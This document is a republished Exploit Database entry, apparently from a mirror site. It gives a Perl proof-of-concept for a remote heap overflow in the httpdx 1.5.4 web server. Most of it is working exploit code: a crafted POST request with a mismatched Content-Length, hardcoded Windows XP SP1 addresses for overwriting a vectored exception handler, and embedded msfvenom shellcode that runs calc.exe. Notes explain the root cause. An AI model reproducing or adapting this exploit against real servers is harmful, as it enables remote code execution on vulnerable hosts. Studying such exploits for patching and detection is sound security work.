httpdx 1.5.4 – Remote Heap Overflow

Exploit Database
120 阅读

作者： st3n

日期： 2012-07-29
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/20120/

#!/usr/bin/perl -w

#======================================================================

# Exploit Title: httpdx <= 1.5.4 Remote Heap Overflow

# Date: 28 July 2012

# Exploit Author: st3n [at sign] funoverip [dot] net

# Vendor Homepage: http://httpdx.sourceforge.net

# Download link: http://sourceforge.net/projects/httpdx/files/httpdx/httpdx%201.5.4/httpdx1.5.4.zip/download

# Version: 1.5.4

# Tested on: WinXP SP1

#======================================================================

# Additional notes:

# -----------------

# - During a POST request, httpdx allocates memory with malloc(size+1),

# where 'size' is actually the value of "Content-Length" HTTP header..

# All post-data will then be copied into this area using strncpy(x,y,size2),

# where 'size2' = "request length" - "header length" (and not Content-Length)

# - As httpdx use it own handler function upon crash, this exploitoverwrite

# the first _VECTORED_EXCEPTION_NODE structure with a pointer to our shellcode.

# - The exploit works very often, but not always. In both case, httpdx crash

# after the exploit.

# - WinXP SP1

# 0x77ED73B4 --> UnhandledExceptionFilter()

#======================================================================

use strict;

use IO::Socket::INET;

# target

my $host = "127.0.0.1";

# The [perl|php|py|..] page to call during the POST request.

# The page must exists and the extension must be defined in the directive

# "http.handlers = {...}" in httpdx.conf

my $page = "/test.pl";

# Windows XP - SP1 - English

# ---------------------------

# ptr to the first _VECTORED_EXCEPTION_NODE structure= 0x77fc3210 - 4

my $veh_node_addr = 0x77fc320c ;

# pointer to out shellcode => 0x00227664 - 8 = 0x0022765c

my $sc_ptr = 0x0022765c;

# shellcode

# (msfvenom -p windows/exec -f perl CMD=calc.exe)

my $shellcode =

"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" .

"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" .

"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" .

"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" .

"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" .

"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" .

"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" .

"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" .

"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" .

"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" .

"\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68" .

"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" .

"\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" .

"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e" .

"\x65\x78\x65\x00";

# flush after every write

$| = 1;

my $sock = IO::Socket::INET->new("$host:80");

print $sock "POST $page HTTP/1.0\r\n" .

"Content-Length: 1023\r\n" .

"Content-Type: text\r\n" .

"Host: $host" . "\r\n" .

"\r\n" .

# shellcode

$shellcode .

# nops

"\x90" x (1032-length($shellcode)) .

# VEH addr

pack('V', $veh_node_addr) .

# ptr to shellcode

pack('V', $sc_ptr)

;

# if any ...

while(<$sock>){

print $_;

}

exit;